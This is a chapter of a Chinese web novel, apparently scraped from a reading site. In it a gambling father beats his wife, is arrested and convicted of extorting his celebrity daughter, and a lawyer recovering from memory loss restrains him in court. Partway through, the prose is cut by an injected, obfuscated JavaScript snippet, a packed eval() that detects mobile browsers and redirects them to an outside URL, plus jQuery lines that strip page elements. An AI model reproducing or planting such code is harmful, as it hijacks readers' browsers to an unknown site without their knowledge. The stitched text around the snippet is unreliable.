阮家。
哭声和怒骂声响彻房屋,周围的邻居早已习惯了,他们名声臭的不能再臭,根本没有人上来询问情况,更别提帮忙劝架。
“臭婆娘,都怪你这个没用女人,非要去急哄哄爆什么料,老子到手的三千万都飞了!”阮兴运将酒瓶重重摔在桌子上,扬起手来就要打李苏慧。
“你居然想打我?她有没有三千万还不一定呢!你个混蛋!还怪我,要不是你偷我的钱去赌光了,儿子的学费会没着落吗?”李苏慧骂骂咧咧要去推他。
“老子那是运气不好,再给我十万,老子保准翻盘,那个公司不是还给了你一百万吗!钱呢,你这臭婆娘花哪去了?”阮兴运大着舌头也在骂她。
李苏慧怒不可遏指着他,“你还问我去哪了?要不是我给你把高利贷还上,你现在还能在这喝酒吗!”
这段时间,银行卡里的钱陆陆续续被取出来,每次都是大几万的,等她还完催债的高利贷一看,余额居然只剩下不到一百块了!
密码她早在发现阮兴运去赌的时候就改了,没想到这赌鬼居然又偷偷去借高利贷了!
阮兴运从前就有赌博的恶习,当时家里的东西被上门催债的人砸的砸卖的卖。
原本儿子出生后他就改好了一段时间,没想到手里有些钱就又开始赌了!
“要不是你那个好女儿的电话打不通,老子又找不到她的人,至于会去借高利贷吗?把钱都拿出来!艹,老子不信四百万一分都没剩!”
“你他娘是不是把钱拿给你那个弟了?吃里扒外的贱人!”
阮兴运怒火中烧,竟然直接揪住李苏慧的头发把她往墙上摁。
李苏慧惨叫一声,她尽管彪悍,但力气根本比不过阮兴运,她拼命护着自己的头,嘴里大声叫着儿子的名字。
“俊才,俊才,你爸他疯了,快来救妈,啊!”她嚷嚷着,眼睛盯着房间的阮俊才,像是找到了支柱,她挣扎着往前爬去,脸上又被扇了一巴掌。
阮俊才在床上躺着不为所动,甚至还嫌他们声音太吵把门关了。
他啐了一声,看着李苏慧的眼神十分冷漠,还有不加掩饰的怨恨。
妈的,要不是这老女人,他能当不上大明星?现在还搞得他在学校被孤立!
李苏慧满脸绝望,愣愣盯着关上的房门,彻骨的寒意瞬间包裹住了她。
她瘫坐在地上,眼泪止不住往下流着,任由阮兴运拳头雨点般落在自己身上。
“离婚!离婚!老娘受够你们了。”李苏慧哭着大喊,比起□□上的疼痛,心里的痛似乎让她更难忍受几分,这日子实在是没有盼头了。
阮兴运听到这话,火气腾地烧地更旺了,红着眼破口大骂:“臭婆娘,你他妈想跟老子离婚去找那个小贱人是吧?没门!”
男女力量悬殊,他这次更是下了死手,李苏慧根本反抗不了,大声哭喊:“救命啊!要杀人了!”
“砰砰砰。”敲门声打断了这场闹剧。
“谁啊?”阮兴运手上动作一顿,以为是催债的,梗着脖子色厉内敛道,“没钱!”
“开门,我们是警察。”
阮兴运欺软怕硬,听到警察两个字立刻怂了,他以为是哪个邻居悄悄报了警,怒瞪了李苏慧一眼,转身去开门了。
“警察同志,有什么事啊?”看到那身藏蓝的警服,他立时换上了恭顺的表情。
“你是阮兴运?”为首的警察严肃看了眼他,又看了看倒在房间角落里瑟瑟发抖的李苏慧,眼神更加冷峻。
“是的是的。”阮兴运连连点头,脸上挂上了谄媚的笑,“不知您找我有什么事?我们这是家庭纠纷,小矛盾不碍事,就不劳烦您……”
警察沉着脸打断他,递出自己的警察证和搜捕令,“阮兴运是吧?你涉嫌敲诈勒索罪,跟我们走一趟。”
*
“记住流程了吗?”林知画将一打文件放在了傅盛衍的面前,上面是阮兴运敲诈勒索案的卷宗。
傅盛衍点点头。
他低头看着手中资料,上面写着嫌疑人的具体信息,下面还有厚厚一叠笔录以及调查得来的证据材料等。
他认真记下案件的具体细节,又反复观看了几遍庭审的视频。
看着他认真的侧脸,林知画安抚道:“不用太紧张,这个案件不算复杂,既不典型也没有什么辩护空间,你陪着阮小姐去就行。阮兴运除非把全国最顶尖的律师请来,否则没有翻案的可能。”
何况就算他真把案子翻了,还有二审流程可以走。
傅盛衍微蹙眉头:“吱吱你不跟我一起去吗?要是我不小心有个环节出纰漏了怎么办?”
她微微一愣,以前的傅盛衍可从没在这方面跟她示过弱,“出错”更是很少会出现在日常里。尤其在结婚后,他恨不得把所有事情都做好,只让她看见自己完美的一面。
林知画偶尔也会去旁听席上看他。
在法庭上,傅盛衍是多变的。他能用专业的言语和锐利的观点痛击对方,也能刻意摒弃法言法语,以最直接甚至有些粗鲁的语言质问当事人,从而得到想要的效果。
他给“好人”做过代理人,同样也给“坏人”当过辩护律师。
法庭之外,他更会使不少劲,为当事人四处奔走,收集证据。
林知画脑海中对傅大律师最深的印象,就是他在辩护席上从容起身,每次提问都一针见血,分析鞭辟入里。等法庭宣判之后,被害人长吁一口气,傅盛衍起身和审判人员一一握手,谈笑寒暄。
“让于尧跟你去就行,公司还有很多事呢,研发到了关键一步,我得在公司盯着。”林知画伸手,摸了摸那只毛茸茸的脑袋,笑着道,“再说了,我的大律师可是很厉害的。”
傅盛衍的记忆不知道要多久才能找回,但总不能一直让他停留在过去。他需要重新学习曾经烂熟于心的知识,就算磕磕碰碰,也要勇敢踏上向前铺展的道路。
她可以做牵着风筝的线,但不能是那个放风筝的人。
要让他的生活回到正轨,必须做到一点——“放手”。
任何人都无权替他做决定,也无需替他重新铺好路。
三天后。
傅盛衍自信满满带着于尧前往法院。
刚到门口,就看见一群人在法院门口集结,除去扛着摄影机的记者,更多的是自发前来的粉丝。
为了避免案件受舆情影响,林知画让阮宛凝在判决出来前不要在网上发布相关的消息,但不知为何,这次还是走漏了风声。
一起公开审理的财产案件通常不会引起这么大轰动,然而当事人之一毕竟是娱乐圈当红流量小花,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816977|172798||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可容纳400人的旁听席上此时座无虚席,警务人员有条不紊维护着现场秩序。
旁听席上,李苏慧带着儿子坐在一边,现场有不少粉丝认出了这两个人,顾忌着法庭纪律,也只是投以鄙夷的目光。
周围的窃窃私语仿佛像刀子一样朝她射来,李苏慧缩了缩脖子,头垂得更低了。
临近开庭,审判人员和公诉人也陆续进场,待傅盛衍和阮宛凝出现时,旁听席上出现了一阵小骚动。
九点准时开庭,自阮兴运入场,公诉人宣读完起诉书后,庭审现场的火药味便愈发浓烈。
此时阮兴运已经不在乎什么名声了,他死死盯着公诉人身旁阮宛凝,表情狰狞,一双眼睛带着红血丝。
阮宛凝靠在椅子上,目光穿过阮兴运落在窗外的树叶上。
也是一个夏日的午后。
她那时不到六岁,阮俊才出生才几个月,睡醒就哭了,她趴到床边努力想逗他笑。阮兴运输了牌心情极差,撞见这一幕,巴掌重重甩在她脸上。
“滚,再敢弄哭我儿子,老子打死你。”
她哭着跑出家,蹲在楼下的铁门后边,心想着如果妈妈来找她,她要再躲几分钟才出去。
她透过门缝期待看着楼梯拐角,日头渐渐落山,星星挂满了天空,单元楼外进进出出了很多人,唯独没有李苏慧,问她怎么还不回家。
她知道不远处的被告席上坐着李苏慧,也能感觉到那道灼热的视线,却一次也没有回头,全程都只安静地盯着法庭正中央站着的阮兴运。
轮到犯罪嫌疑人发言时,阮兴运强硬挤出一滴眼泪,口口声声说自己没有勒索阮宛凝。
“女儿给老子钱花不是应该的吗?”
他想做出可怜的姿态,请求法官对自己网开一面,但或许是看见阮宛凝眼底的不为所动,他心中怒火愈发难以遏制,面容看上去分外扭曲。
他请来的辩护律师水平一般,到了举证质证环节,更是没有什么招架之力,只提出了几个不痛不痒的意见,节奏完全被公诉人牵着走。
于是,一审判决毫无悬念,以敲诈勒索罪判处阮兴运有期徒刑八年六个月,并处罚金2万元。
阮兴运死死咬着牙,最后居然挣脱了法警,直直冲到阮宛凝面前。
现场哗然。
整个法庭瞬间乱作一团。
他挥起拳头,正要朝阮宛凝身上落下,没想到却被旁边的傅盛衍死死钳住了。
“滚开,老子教训自己的女儿,关你什么事?”他低声吼着,眼神中闪过疯狂。
他的手腕被傅盛衍牢牢抓住,又因为带着手铐无法使力,居然整个人将肩膀用力撞向傅盛衍。
他紧紧皱着眉,生生挨了一下,并没有退让。好在法警迅速反应过来,急忙上前将阮兴运按倒在地。
“傅律师你没事吧?”阮宛凝一脸焦急看着他,眼里满是自责。
傅盛衍摇了摇头,望向阮兴运的眼神十分冷淡。
这是林知画反复交代的,在法庭上不准打人,他记住了,也并没有还手。
阮兴运的行为严重违反了法庭秩序,直接被法警按着押了出去。
他估摸着今天网上又是一场舆论风暴,但傅盛衍也管不了了,他暗中松了一口气。
阮宛凝的案件算是尘埃落定了。